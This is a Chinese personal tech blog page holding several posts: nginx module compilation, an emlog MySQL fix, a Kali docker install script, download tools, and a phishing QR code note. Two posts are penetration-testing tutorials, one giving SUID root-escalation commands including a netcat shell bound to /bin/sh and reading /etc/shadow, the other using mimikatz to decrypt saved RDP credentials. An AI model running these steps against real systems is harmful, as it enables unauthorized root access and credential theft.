lnmp配置nginx扩展PageSpeed,Brotli等优化总结(仅供参考) 技术文章

[i]注:本文只适合有一定Linux基础知识的人阅读,如果没有请慎阅,以免带来不适。

Lnmp1.4配置nginx(Nginx已经安装好了)扩展ngx_PageSpeed, Brotli , ngx_http_google_filter_module ,ngx_http_google_filter_module

环境:lnmp1.4 + vultr-JP

OS:#lsb_release -a

Debian GNU/Linux 8.10 (jessie) , PHP-7.1.7 ,MySql-5.5.56 , Nginx-1.12.2

 

先看一下我的优化后使用Google的PageSpeed Insights PC检测有99分,打开速度是挺快的!

 yid.pngpc.png

然后查看nginx配置:nginx –V (注意是大写的),结果类似如下:

ver.png

我们要做的就是再此基础上增加模块,Nginx增加模块比Apache麻烦点,Apache直接配置文件引用.so模块文件即可,Nginx需要编译。不多累述,想了解的自己Google。

首先我们在home目录下新建一个extends文件夹(mkdir /home/extends)用来装我们的扩展源码,接下来就是下载这些源码:

但是,在下载源码之前,我们需要更新一下系统和安装一些依赖:

apt-get update && apt-get install build-essential zlib1g-dev libpcre3 libpcre3-dev unzip uuid-dev git gcc g++ make -y

git clone https://github.com/google/ngx_brotli.git

cd ngx_brotli
git submodule update --init

wget https://github.com/apache/incubator-pagespeed-ngx/archive/v1.13.35.2-stable.tar.gz

tar xzvf v1.13.35.2-stable.tar.gz

cd incubator-pagespeed-ngx-1.13.35.2-stable

wget https://dl.google.com/dl/page-speed/psol/1.12.34.2-x64.tar.gz

tar xzvf 1.12.34.2-x64.tar.gz

git clone https://github.com/cuber/ngx_http_google_filter_module

git clone https://github.com/yaoweibin/ngx_http_substitutions_filter_module

 

备注:因为是lnmp1.4x + php7.1因此最后两个扩展所需要的这些模块已经自带了:pcre, openssl ,zlib以及nginx源码,如果你不是php7,请自行下载相关依赖并解压到扩展文件夹extends里面方便后面的使用。

 

接下来就是配置编译前的nginx了(在nginx源码所在的目录,里面包含configure的这个文件夹路径下):

可以创建预编译的目录或者是就在解压缩后的nginx源码目录也行。

./configure --user=www --group=www --prefix=/usr/local/nginx --with-cc-opt=-Wno-deprecated-declarations --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module --with-http_gzip_static_module --with-http_realip_module  --with-http_sub_module --with-openssl=/root/lnmp1.4/src/openssl-1.0.2l --add-module=/home/extends/ngx_http_google_filter_module --add-module=/home/extends/ngx_http_substitutions_filter_module --add-module=/home/extends/ngx_brotli --add-module=/home/extends/incubator-pagespeed-ngx-1.13.35.2-stable

 

需要注意的是:上面的命令你可以根据你自己的路径来修改,注意拼写,推荐使用Tab键补全获得准确的pwd,最重要的就是你需要会看系统的提示,我觉得Linux的系统提示是非常完善的,你根据提示去搜索基本上都是可以找到答案的,特别是像这些流行的应用出现的问题。如果有搞不定的,可以联系我(YWRtaW5AbXJ4bi5uZXQ=)有空会给你解答,当然也可以付费帮你配置这些,毕竟时间就是金钱,而且一个人的精力有限。

如果提示:make[1]: Leaving directory '/root/nginx-1.12.2'这类的,你可能是配置好后编译失败了,需要清除,重新配置。在nginx源码目录执行,make clean ,然后再重新./configure就行。如果还是不行,就自行去预编译的目录下查看是否有nginx二进制文件,如果没有,肯定失败了,否则,停止Nginx,备份已安装的nginx,再将这个预编译好的复制到旧Nginx所在目录,然后启动Nginx,执行nginx –t ,检查看是否出错,如果不出错就打开网页看看是否正常,正常就OK了。不正常的话就慢慢排查吧。

 

下面贴一下nginx 的主要配置代码:

nginx.conf :

        gzip on;

        gzip_min_length  1k;

        gzip_buffers     4 16k;

        gzip_http_version 1.1;

        gzip_comp_level 2;

        gzip_types     text/plain application/javascript application/x-javascript text/javascript text/css application/xml application/xml+rss;

        gzip_vary on;

        gzip_proxied   expired no-cache no-store private auth;

        gzip_disable   "MSIE [1-6]\.";

      

              brotli on;

              brotli_types text/plain text/css text/xml application/xml application/json text/javascript application/javascript application/x-javascript

              brotli_static off;

              brotli_comp_level 11;

              brotli_buffers 16 8k;

              brotli_window 512k;

              brotli_min_length 20;   

 

vhost/mrxn.net.conf:

 

        # 启用ngx_pagespeed

        pagespeed on;

        pagespeed FileCachePath /tmp/cache/ngx_pagespeed_cache;

        # 禁用CoreFilters

        pagespeed RewriteLevel PassThrough;

        # 启用压缩空白过滤器

        pagespeed EnableFilters collapse_whitespace;

        # 启用JavaScript库卸载

        pagespeed EnableFilters canonicalize_javascript_libraries; #谷歌被墙,国内服务器用不了,国外的不存在

        # 把多个CSS文件合并成一个CSS文件

        pagespeed EnableFilters combine_css;

        # 把多个JavaScript文件合并成一个JavaScript文件

        pagespeed EnableFilters combine_javascript;

        # 删除带默认属性的标签

        pagespeed EnableFilters elide_attributes;

        # 改善资源的可缓存性

        pagespeed EnableFilters extend_cache;

        # 更换被导入文件的@import,精简CSS文件

        pagespeed EnableFilters flatten_css_imports;

        pagespeed CssFlattenMaxBytes 5120;

        # 延时加载客户端看不见的图片

        pagespeed EnableFilters lazyload_images;

        # 启用JavaScript缩小机制

        pagespeed EnableFilters rewrite_javascript;

        # 启用图片优化机制

        pagespeed EnableFilters rewrite_images;

        # 预解析DNS查询

        pagespeed EnableFilters insert_dns_prefetch;

        # 重写CSS,首先加载渲染页面的CSS规则

        pagespeed EnableFilters prioritize_critical_css;

        # Example 禁止pagespeed 处理/admin/目录(可选配置,可参考使用)

        pagespeed Disallow "*/admin/*";

 

配置后测试没有问题的话基本是这个样子的:

configure.png

如果配置过程中有其他的错误,请根据错误提示Google或自查。实在不行就找人吧。

上面的步骤都顺利通过了之后就可以去配置nginx了,主要是配置Google的反代。可以参考我之前写的文章,下面简单记录一下:

备份原有已安装好的nginx:

cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
service nginx stop

然后将刚刚编译好的nginx覆盖掉原有的nginx(这个时候nginx要停止状态,通过上面的命令,已经停止了):

cp ./objs/nginx /usr/local/nginx/sbin/

然后启动nginx (service nginx start),就可以通过命令nginx -V 查看第三方扩展是否已经加入成功.

下面说下在PHP7下如何使emlog支持,其实就是修改几个变量:

1.首先在/include/lib/option.php

大约11行位置

//默认MySQL链接方,mysql或mysqli

把const DEFAULT_MYSQLCONN = 'mysql';

改为 const DEFAULT_MYSQLCONN = 'mysqli';

2.在/include/lib/cache.php

大约195行

把$$row['option_name'] = $row['option_value'];

改为 ${$row['option_name']} = $row['option_value'];

3.在admim/seo.php

大约在15行、19行共两上

把 $$t改为

 ${$t}

4.在admim/views/admin_log.php

大约在86行、88行、90行共三个

把$$a $$b $$a

改为 ${$a} ${$b} ${$a}

5.在admim/views/comment.php

大约在18行

把 $$a = "class=\"filter\"";

改为 ${$a} = "class=\"filter\"";

另外有些插件和主题是固定了使用mysql连接类,这样还需要修改插件和主题中的数据库连接方式,不然直接报数据库错误。

比如:

$DB = MySql::getInstance();

都要改为$DB = Database::getInstance();

小提示:我是使用的sublime text  使用正则匹配搜索—正则如下:^(\$)(\$)a,不然你会搜不到$$a的,可以使用sublime的指定文件夹搜索,在你的整个网站目录所有文件里搜索相关变量,进行批量替换。

regx.png

我之前发的相关文章(仅供参考):

两种方式反代Google(镜像)--nginx反代和nginx扩展

https://mrxn.net/Linux/nginx_http_google_filter.html

为nginx添加这些额外的第三方扩展加速你的web吧

https://mrxn.net/Linux/nginx_add_module.html

 

参考文章—感谢他们的分享:

https://www.modpagespeed.com/doc/build_ngx_pagespeed_from_source

https://www.lvtao.net/config/nginx-google-brotli.html

https://zhangge.net/5063.html

标签: lnmp

admin 发布于  2018-2-14 13:48 

偶遇邮件钓鱼二维码 网络安全

今天看到群里一个小伙子说他收到了一个邮件,一张二维码。。。erweimaa.png

正好我看到了,暂时没事就识别了一下。。。二维码是个短网址,还原后就是一个模仿的QQ邮箱登录界面,而且奇丑无比。。。下面先给大伙看一下:

erweimatioaz.png

看了一下页面的源代码,是经过Escape加密的。加密前的源代码在这里:

小知识:

定义和用法:escape可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

说明:该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被转义序列替换。

https://pastebin.com/pXTWzpn3 

UnEscape解密后:https://pastebin.com/9WibA9RA 

jiemihou.png

当然,发件人有可能不是作者,只是买来的或者是盗来的。这里不做深究。但是钓鱼的主域名明显是个企业网站被入侵后搞得。还装了狗。。。anquang.png

。。。。想玩的自己去看源码玩

PS: 不要乱扫描二维码。。。至少我目前知道一种方法可以从QQ(手机版Android/IOS)直接打开你的支付宝,进入支付界面。


admin 发布于  2017-12-29 15:29 

emlog,连接数据库失败,请检查数据库信息,错误编号 2002 技术文章

今天起来发现博客打不开了,提示:连接数据库失败,请检查数据库信息,错误编号 2002。

首先看这个错误代码是2002,并不是emlog的配置文件有问题,因为从include/lib/mysql.php里面可以看到这个2002应该是MySQL本身出问题了,但是不一定,下面来排查是不是MySQL本身出问题了。

/**
* 内部实例对象
* @var object MySql
*/
private static $instance = null;
private function __construct() {
if (!function_exists('mysql_connect')) {
emMsg('服务器空间PHP不支持MySql数据库');
}
if (!$this->conn = @mysql_connect(DB_HOST, DB_USER, DB_PASSWD)) {
switch ($this->geterrno()) {
case 2005:
emMsg("连接数据库失败,数据库地址错误或者数据库服务器不可用");
break;
case 2003:
emMsg("连接数据库失败,数据库端口错误");
break;
case 2006:
emMsg("连接数据库失败,数据库服务器不可用");
break;
case 1045:
emMsg("连接数据库失败,数据库用户名或密码错误");
break;
default :
emMsg("连接数据库失败,请检查数据库信息。错误编号:" . $this->geterrno());
break;
}
}
if ($this->getMysqlVersion() > '4.1') {
mysql_query("SET NAMES 'utf8'");
}
@mysql_select_db(DB_NAME, $this->conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
}

登上服务器,准备登录mysql,mysql -uroot -ppassword,报错如下:

ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)

然后查看MySQL状态:

root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: active (exited) since Sun 2017-12-24 10:55:03 CST; 5min ago
Process: 536 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)

Dec 24 10:55:03 mrxn.guest mysqld[536]: Starting MySQL
Dec 24 10:55:03 mrxn.guest mysqld[536]: Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed!
Dec 24 10:55:03 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.

注意看红色的部分,Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed! 现在可以进一步确定是MySQL本身出问题了。

问题原因就这与MySQL本身没有启动起来。我们先停止MySQL试试:service mysqld stop ,然后查看状态:

root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: inactive (dead) since Sun 2017-12-24 11:01:09 CST; 1s ago
Process: 1809 ExecStop=/etc/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 536 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)

Dec 24 10:55:03 mrxn.guest mysqld[536]: Starting MySQL
Dec 24 10:55:03 mrxn.guest mysqld[536]: Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed!
Dec 24 10:55:03 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.
Dec 24 11:01:09 mrxn.guest systemd[1]: Stopping LSB: start and stop MySQL...
Dec 24 11:01:09 mrxn.guest mysqld[1809]: MySQL server PID file could not be found! ... failed!
Dec 24 11:01:09 mrxn.guest systemd[1]: Stopped LSB: start and stop MySQL. 

然后Google搜索上面的红色关键词:Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed! ,借鉴这个的方法 http://www.cnblogs.com/olinux/p/5546371.html

查看MySQL的my.cnf 在那些位置存在:

root@mrxn:/# mysqld --verbose --help|grep my.cnf
2017-12-24 11:02:32 0 [Warning] Using unique option prefix key_buffer instead of key_buffer_size is deprecated and will be removed in a future release. Please use the full name instead.
2017-12-24 11:02:32 0 [Note] --secure-file-priv is set to NULL. Operations related to importing and exporting data are disabled
2017-12-24 11:02:32 0 [Note] mysqld (mysqld 5.6.37-log) starting as process 1867 ...
2017-12-24 11:02:32 1867 [ERROR] Can't find messagefile '/usr/share/mysql/errmsg.sys'
2017-12-24 11:02:32 1867 [Warning] Can't create test file /var/lib/mysql/mrxn.lower-test
2017-12-24 11:02:32 1867 [Warning] Can't create test file /var/lib/mysql/mrxn.lower-test
mysqld: Can't change dir to '/var/lib/mysql/' (Errcode: 2 - No such file or directory)
2017-12-24 11:02:32 1867 [Warning] Using unique option prefix myisam-recover instead of myisam-recover-options is deprecated and will be removed in a future release. Please use the full name instead.
2017-12-24 11:02:32 1867 [Note] Plugin 'FEDERATED' is disabled.
mysqld: Unknown error 1146
2017-12-24 11:02:32 1867 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it.
/etc/my.cnf /etc/mysql/my.cnf /usr/local/mysql/etc/my.cnf ~/.my.cnf
my.cnf, $MYSQL_TCP_PORT, /etc/services, built-in default
2017-12-24 11:02:32 1867 [Note] Binlog end
2017-12-24 11:02:32 1867 [Note] Shutting down plugin 'CSV'
2017-12-24 11:02:32 1867 [Note] Shutting down plugin 'MyISAM'

注意看红色的标注部分,没有那个文件或者路径。用ls -l /var/lib/ 查看下面确实没有mysql文件夹。

那么就新建一个mysql文件夹,并且设置好权限给mysql使用:

mkdir /var/lib/mysql/

chown -R mysql:mysql /var/lib/mysql/

然后删除多余的那个my.cnf :rm /etc/mysql/my.cnf 

然后重启MySQL:service mysqld restart ,并且查看MySQL的状态:

root@mrxn:/# service mysqld restart
root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: active (running) since Sun 2017-12-24 11:09:00 CST; 5s ago
Process: 2121 ExecStop=/etc/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 2138 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2153 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/data/mysql --pid-file=/data/mysql/mysql.pid
└─2992 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/data/mysql --plugin-dir=/usr/local/mysql/l...

Dec 24 11:08:59 mrxn.guest systemd[1]: Starting LSB: start and stop MySQL...
Dec 24 11:08:59 mrxn.guest mysqld[2138]: Starting MySQL
Dec 24 11:09:00 mrxn.guest mysqld[2138]: ..
Dec 24 11:09:00 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.

就OK了!

然后根据这个错误我发现了是有人在疯狂的扫描我的博客。。。醉了。。。但是我也不知道为嘛MySQL就抽风了,估计是死锁后我去重启,然后它就抽风了-_-|

标签: Linux emlog MySQL

admin 发布于  2017-12-24 11:19 

Linux下利用SUID提权 渗透测试

今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000-print2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
1.png
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
ls -l /usr/bin/nmap
-rwsr-xr-x 1root root 7806762008-04-0810:04/usr/bin/nmap

2.png NMAP
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

nmap -V

3.png 交互模式可以通过执行Nmap参数" interactive ":

nmap --interactive

4.png 以下命令将提供一个提升的shell。

nmap> !sh
sh-3.2# whoami
root

5.png 也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
exploit/unix/local/setuid_nmap
Find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
touch pentestlab
find pentestlab -exec whoami \;

6.png

大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \; 

7.png

连接上去就会直接获取到一个Root权限的shell。

netcat 192.168.1.1895555
id
cat /etc/shadow
8.png 

VIM
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

9.png Vim - Root权限:

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
10.png 

Bash
以下命令将以root权限打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
11.png 

Less
Less和More都执行以用来提权。

less /etc/passwd
!/bin/sh

12.png 

PS:文章来源于 杂术馆 .好文共赏!如对原创造成影响,深表歉意!

标签: Linux 提权 suid

admin 发布于  2017-11-1 12:34 

Kali一键安装docker脚本 Linux

Kali不介绍,docker简单的介绍一下:如何通俗解释docker是什么 我的理解用一句话来说就是:在你的系统里面装一个盒子,盒子里你可以干任何事!另外,在gitbook上也有专门的专题介绍,想详细的了解的可以去看一下:

https://yeasy.gitbooks.io/docker_practice/content/

本文主要介绍在Kali下如何一键安装,给懒人看的-_- .

Kali是属于Debian的一个分支基于Debian Wheezy 因此安装方法借助docker官方的Debian安装文档,但是官方的安装方法在Kali上会失败...

所以呢,我就自己Google啊,找到了好几个版本,我结合自己的实际操作和理解,搞了一个综合性的脚本.

下面就是脚本的全部代码:

#!/bin/bash

#=================================================
# Description: Install docker for Kali
# Version: 0.0.1
# Author: Mrxn
# Blog: https://mrxn.net/Linux/install_docker_script_for_Kali.html
# PS: 欢迎大家到github提建议和bug
#=================================================


# install dependencies
sudo apt-get install apt-transport-https ca-certificates curl gnupg software-properties-common dirmngr

# use https get sources
sudo echo "deb https://http.kali.org/kali kali-rolling main non-free contrib" > /etc/apt/sources.list
sudo echo "deb-src https://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list


# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update

# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*


# add Docker repo gpg key
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -

# add deb docker sources
sudo echo "deb [arch=amd64] https://download.docker.com/linux/debian stretch stable" >> /etc/apt/sources.list

cat > /etc/apt/sources.list.d/docker.list <<'EOF'
deb https://apt.dockerproject.org/repo debian-stretch main
EOF
sudo apt-get update

# install Docker
sudo apt-get install docker-ce

# run Hellow World image
sudo docker run hello-world

# manage Docker as a non-root user
sudo groupadd docker
sudo usermod -aG docker $USER

# configure Docker to start on boot
sudo systemctl enable docker                                                         

有啥bug 就去github提吧... https://github.com/Mr-xn/Kali-install-docker       

标签: Kali Linux docker

admin 发布于  2017-10-29 09:24 

【奇技淫巧】利用mimikatz破解远程终端凭据,获取服务器密码 渗透测试

测试环境:windows 10


道友们应该碰到过管理在本地保存远程终端的凭据,凭据里躺着诱人的胴体(服务器密码),早已让我们的XX饥渴难耐了。
但是,胴体却裹了一身道袍(加密),待老衲操起法器将其宽衣解带。

1.png

0x01 凭据管理器中查看Windows凭据:

TERMSRV/1xx.xxx.xxx.xx2

2.png

可通过命令行获取,执行: cmdkey /list
        注意:该命令务必在Session会话下执行,system下执行无结果。

0x02 凭据存储在用户目录下: 

C:\Users\<username>\AppData\Local\Microsoft\Credentials\*

图中名为

"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件

3.png

0x03 执行:

mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5"

4.png

pbData是凭据的加密数据,guidMasterKey是凭据的GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}。

0x04 执行:

mimikatz privilege::debug sekurlsa::dpapi

5.png

根据目标凭据GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。

0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令:

mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:28d1f3252c019f9cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx16dcec8e5dbf5cd0"

6.png

解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。

文章来源于国内安全交流论坛土司\-_-\


admin 发布于  2017-10-21 13:07 

linux下解压rar格式的文件 Linux

linux下一般都是tar和zip的,如果下载到的文件是rar格式的话.我们就需要另外安装rar解压缩软件来支持了.下面简记一下

首先从rarlab官网的下载页面找到你所对应的版本.32位或者是64位的linux版本.

https://www.rarlab.com/download.htm

我这里以64位的作为例子.

在命令行里面使用wget直接下载:

wget https://www.rarlab.com/rar/rarlinux-x64-5.5.0.tar.gz 

然后解压:

tar zxvf rarlinux* 或者是准确的使用Tab键补全. tar zxvf rarlinux-x64-5.5.0.tar.gz

然后cd进入rar目录进行编译安装

cd rar 

make

make install

root@kali:~# cd rar
root@kali:~/rar# make
mkdir -p /usr/local/bin
mkdir -p /usr/local/lib
cp rar unrar /usr/local/bin
cp rarfiles.lst /etc
cp default.sfx /usr/local/lib
root@kali:~/rar# make install
mkdir -p /usr/local/bin
mkdir -p /usr/local/lib
cp rar unrar /usr/local/bin
cp rarfiles.lst /etc
cp default.sfx /usr/local/lib

这时候使用rar 命令会提示你它的使用方法.常见使用方法如下:

解压缩一个file.rar 命令: rar x file.rar

压缩一个文件: rar a file2.rar ./test (将当前目录下的test文件夹压缩为file2.rar)

其他具体命令请使用rar查看.

PS:上篇文章的命令行下载工具里,axel 对于允许同时多线程下载的特别有用,wget 更适合下载只允许单线程的...


admin 发布于  2017-10-21 12:50 

Linux 下十大命令行下载工具(转) Linux

我们一想到Linux,肯定会想到黑白终端,真正的Linux用户总是偏爱从终端来进行工作,哪怕是用于下载。相比某种GUI工具,命令行下载工具可以帮助用户更迅速地从网上下载任何东西。有许多可满足一般用途、甚至用于torrent的下载工具,不过相比其它工具,只有像curl或者wget这少数几款工具更受欢迎。我们在本教程中将探讨用于在Linux环境中下载的十大命令行工具。不妨逐一探讨这些CLI工具。

1.Wget

这是最有名的工具,可用于通过CLI下载。这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。
例子
从网上下载某个示例文件:

# wget http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4

示例输出:

--2016-05-11 16:56:23-- http://www.sample- 

 videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4 

Resolving www.sample-videos.com (www.sample-videos.com)... 

166.62.28.98 

Connecting to www.sample-videos.com (www.sample- 

videos.com)|166.62.28.98|:80... connected. 

HTTP request sent, awaiting response... 200 OK 

Length: 1055736 (1.0M) 

Saving to: big_buck_bunny_720p_1mb.mp4 

100%[==========================================================================================================>] 10,55,736 52.1KB/in 24s 

2016-05-11 16:56:47 (43.4 KB/s) - big_buck_bunny_720p_1mb.mp4 saved [1055736/1055736]

后台下载文件:

# wget -b http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4

如果互联网连接出现中断,恢复下载。

# wget -c http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4

从某个密码保护的ftp软件库下载文件。

# wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address

 

2.Curl

Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。这是一款快速高效的工具,不妨看一下。

例子: 

# curl -o um.mp4 http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4

示例输出:

% Total % Received % Xferd Average Speed Time Time Time Current 

Dload Upload Total Spent Left Speed 

100 1030k 100 1030k 0 0 105k 0 0:00:09 0:00:09 --:--:-- 111k

借助-o选项,提供名称,下载文件会以该名称保存;如使用-O选项,文件就会以原始名称保存。

# curl -O http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4 

使用一个curl命令,下载多个文件。

# curl -O http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_2mb.mp4 -O

3.Axel

这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。

安装

# apt-get install axel

例子

# axel http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4 

Initializing download: http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4

示例输出:

File size: 1055736 bytes  

 Opening output file big_buck_bunny_720p_1mb.mp4.0  

 Starting download  

[ 0%] .......... .......... .......... .......... .......... [ 64.9KB/s] 

[ 4%] .......... .......... .......... .......... .......... [ 83.0KB/s] 

[ 9%] .......... .......... .......... .......... .......... [ 91.5KB/s] 

[ 14%] .......... .......... .......... .......... .......... [ 96.8KB/s] 

[ 19%] .......... .......... .......... .......... .......... [ 100.2KB/s] 

[ 24%] .......... .......... .......... .......... .......... [ 102.7KB/s] 

[ 29%] .......... .......... .......... .......... .......... [ 104.6KB/s] 

[ 33%] .......... .......... .......... .......... .......... [ 86.9KB/s] 

[ 38%] .......... .......... .......... .......... .......... [ 77.1KB/s] 

[ 43%] .......... .......... .......... .......... .......... [ 64.8KB/s] 

[ 48%] .......... .......... .......... .......... .......... [ 66.8KB/s] 

[ 53%] .......... .......... .......... .......... .......... [ 72.8KB/s] 

[ 58%] .......... .......... .......... ..... 

Connection 1 finished 

,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,..... .......... [ 74.1KB/s] 

[ 63%] .......... .......... .......... .......... .......... [ 79.8KB/s] 

[ 67%] .......... .......... .......... .......... .......... [ 84.5KB/s] 

[ 72%] .......... .......... ..... 

Connection 2 finished 

,,,,,,,,, ,,,,,,,,,, ,,,,,..... .......... .......... [ 86.3KB/s]  

[ 77%] .......... .......... .......... .......... .......... [ 91.6KB/s] 

[ 82%] .......... .......... .......... .......... .......... [ 96.7KB/s] 

[ 87%] .......... .......... .......... .......... .......... [ 101.6KB/s] 

[ 92%] .......... .......... .......... ... 

Connection 0 finished 

,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,....... .......... [ 105.9KB/s]  

[ 96%] .......... .......... .......... 

Downloaded 1031.0 kilobytes in 9 seconds. (108.66 KB/s)

4.Youtube-dl

这是一款专用工具,可以通过命令行从YouTube下载视频,这是个易于安装的程序包,可用来下载一大批文件。

安装

  1. # curl https://yt-dl.org/latest/youtube-dl -o /usr/local/bin/youtube-dl 

变更文件权限:

  1. # sudo chmod a+rx /usr/local/bin/youtube-dl 

例子

下载一些视频,只要为命令添加视频URL参数。

  1. # youtube-dl https://www.youtube.com/watch?v=UZW2hs-2OAI 

想下载视频列表,将所有URL拷贝到一个文本文件中,然后运行下面这个命令:

    1. # youtube-dl -<name_of_your_text_file.txt> 

示例输出:

  1. virtual-System-Product-Name prozilla-2.0.4-master # youtube-dl -a url.txt 
  2. [youtube] xEf8A7X53YE: Downloading webpage 
  3. [youtube] xEf8A7X53YE: Downloading video info webpage 
  4. [youtube] xEf8A7X53YE: Extracting video information 
  5. [youtube] xEf8A7X53YE: Downloading MPD manifest 
  6. [download] Destination: EIC Outrage - Salute to Indian Athletes!-xEf8A7X53YE.mp4 
  7. [download] 3.9% of 70.87MiB at 82.53KiB/s ETA 14:04 

5.Aria2

这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。

安装

  1. # apt-get install aria2 
  2. ### 针对centOS 
  3. # yum install aria2

例子

  1. # aria2c http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4

示例输出:

  1. [#28c7dd 0.9MiB/1.0MiB(93%) CN:1 DL:70KiB ETA:1s] 
  2. 05/11 23:06:47 [NOTICE] Download complete: 
  3. /home/virtual/Desktop/prozilla-2.0.4-master/big_buck_bunny_720p_1mb.mp4 
  4. Download Results: 
  5. gid |stat|avg speed |path/URI 
  6. ======+====+===========+======================================================= 
  7. 28c7dd|OK | 72KiB/s|/home/virtual/Desktop/prozilla-2.0.4-master/big_buck_bunny_720p_1mb.mp4 
  8. Status Legend: 
  9. (OK):download completed.

6.Movgrab

这是用于下载视频的另一款高效工具,使用movgrab的优点在于,它不仅可以从YouTube下载视频,还可以从几乎所有的知名网站下载视频,比如metacafe、dailiymotion、 ehow和vobx等。这是一款很快速的工具,可以定义影片格式,还可以恢复下载。

安装

可以从该链接下载程序包。

解压缩程序包:

  1. # tar -xvf movgrab-1.2.1.tar.gz 
  2. # cd movgrab-1.2.1 
  3. # ./configure 
  4. # make 
  5. # make install

使用命令下载程序包

下载名称指定的文件:

  1. # movgrab Youtube_url 

指定输出文件:

  1. # movgrab -o example.mp4 video_url 

使用maovgrab –h,即可了解更多的细节。

7.rtorrent

这种知名的命令行torrent客户软件随附在所有Linux发行版中,它需要screen实用工具才能正常运行。

安装

安装screen:

  1. # apt-get install screen 

安装rtorrent :

  1. # apt-get install rtorrent 

例子

